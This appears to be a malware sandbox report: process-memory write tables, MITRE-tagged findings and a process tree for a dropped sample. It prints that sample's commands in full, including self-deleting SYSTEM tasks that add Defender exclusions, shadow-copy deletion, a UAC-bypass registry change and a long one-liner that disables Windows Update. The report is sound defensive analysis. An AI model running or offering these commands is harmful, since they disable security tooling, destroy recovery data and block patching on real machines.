PID 2816 wrote to memory of 2128	2816	cmd.exe	103
PID 1084 wrote to memory of 416	1084	cmd.exe	105
PID 644 wrote to memory of 2928	644	T3WeVm.exe	106
PID 644 wrote to memory of 4508	644	T3WeVm.exe	109
PID 2928 wrote to memory of 940	2928	cmd.exe	111
PID 4508 wrote to memory of 1112	4508	cmd.exe	112
PID 2928 wrote to memory of 2276	2928	cmd.exe	113
PID 644 wrote to memory of 4412	644	T3WeVm.exe	114
PID 4412 wrote to memory of 3252	4412	cmd.exe	117
PID 2928 wrote to memory of 564	2928	cmd.exe	118
PID 644 wrote to memory of 2908	644	T3WeVm.exe	119
PID 2908 wrote to memory of 716	2908	cmd.exe	121
PID 644 wrote to memory of 1824	644	T3WeVm.exe	122
PID 1824 wrote to memory of 2800	1824	cmd.exe	125
PID 644 wrote to memory of 1700	644	T3WeVm.exe	28
PID 644 wrote to memory of 1700	644	T3WeVm.exe	28
PID 644 wrote to memory of 4676	644	T3WeVm.exe	126
PID 4676 wrote to memory of 3556	4676	cmd.exe	128
PID 644 wrote to memory of 3052	644	T3WeVm.exe	129
PID 644 wrote to memory of 992	644	T3WeVm.exe	130
PID 3052 wrote to memory of 1376	3052	cmd.exe	133
PID 644 wrote to memory of 2448	644	T3WeVm.exe	134
PID 992 wrote to memory of 2988	992	cmd.exe	136
PID 2448 wrote to memory of 2532	2448	cmd.exe	137
PID 992 wrote to memory of 5032	992	cmd.exe	138
PID 644 wrote to memory of 912	644	T3WeVm.exe	140
PID 992 wrote to memory of 1732	992	cmd.exe	142
PID 912 wrote to memory of 4896	912	cmd.exe	143
PID 644 wrote to memory of 4284	644	T3WeVm.exe	144
PID 4284 wrote to memory of 1064	4284	cmd.exe	146
PID 3096 wrote to memory of 1216	3096	cmd.exe	148
PID 644 wrote to memory of 1712	644	T3WeVm.exe	29
PID 644 wrote to memory of 1712	644	T3WeVm.exe	29
PID 644 wrote to memory of 1096	644	T3WeVm.exe	149
PID 1096 wrote to memory of 3080	1096	cmd.exe	151
PID 1864 wrote to memory of 556	1864	cmd.exe	152
PID 644 wrote to memory of 1304	644	T3WeVm.exe	153
PID 1304 wrote to memory of 3112	1304	cmd.exe	155
PID 1304 wrote to memory of 1812	1304	cmd.exe	156
PID 3304 wrote to memory of 4820	3304	cmd.exe	159
PID 1304 wrote to memory of 1908	1304	cmd.exe	160
PID 644 wrote to memory of 2732	644	T3WeVm.exe	161
PID 2732 wrote to memory of 2972	2732	cmd.exe	163
PID 2732 wrote to memory of 4272	2732	cmd.exe	164
PID 3248 wrote to memory of 4852	3248	cmd.exe	167
PID 2732 wrote to memory of 4572	2732	cmd.exe	168
PID 644 wrote to memory of 1696	644	T3WeVm.exe	169

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	zakSbz.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1252
- C:\Users\Public\L5xwqU\T3WeVm.exe
  C:\Users\Public\L5xwqU\T3WeVm.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4580
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\L5xwqU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\L5xwqU\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2488
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3920
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1776
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:656
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4852
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1056
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\T3WeVm.exe" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\T3WeVm.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2212
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\T3WeVm.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\T3WeVm.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:416
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2928
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:940
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2276
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\T3WeVm.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\T3WeVm.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1112
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\adoresd.dat" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\adoresd.dat" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3252
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:716
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2800
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\msadox.tb" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\msadox.tb" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3556
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1376
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2988
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5032
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1732
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2532
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\UxEnhance64.dll" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\UxEnhance64.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4896
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4284
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1064
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\L5xwqU\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\L5xwqU\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3080
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3112
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1812
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1908
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2972
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4272
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4572
- - C:\Program Files (x86)\zakSbz\zakSbz.exe
    "C:\Program Files (x86)\zakSbz\zakSbz.exe"
    3⤵
    - UAC bypass
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops file in Program Files directory
    - Event Triggered Execution: Screensaver
    - System Location Discovery: System Language Discovery
    - Modifies Control Panel
    - System policy modification
    PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:1376
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:2496
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\xxxx.ini
      4⤵
      System Location Discovery: System Language Discovery
      PID:1312
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\zakSbz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      PID:1868
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\zakSbz\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3328
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2464
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1860
    - - C:\Windows\SysWOW64\net.exe
        
        net stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3276
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4448
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1676
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure wuauserv reset= 0 actions= ""
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:488
    - - C:\Windows\SysWOW64\net.exe
        
        net stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4992
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4624
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config UsoSvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2972
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure UsoSvc reset= 0 actions= ""
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4572
    - - C:\Windows\SysWOW64\net.exe
        
        net stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1708
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:244
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config uhssvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4076
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure uhssvc reset= 0 actions= ""
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1048
    - - C:\Windows\SysWOW64\net.exe
        
        net stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4724
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3996
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WaaSMedicSvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3988
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure WaaSMedicSvc reset= 0 actions= ""
        5⤵
        Launches sc.exe
        
        PID:4148
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:5020
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3296
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32\wuaueng.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:680
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3228
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4648
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3024
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3716
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
        5⤵
        
        PID:2852
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5032
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\xxxx.ini
      4⤵
      PID:3396
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      PID:1720
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3436
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      System Location Discovery: System Language Discovery
      PID:1016
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4256
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\zakSbz\zakSbz.exe" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:1516
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\zakSbz\zakSbz.exe" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      PID:4576
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
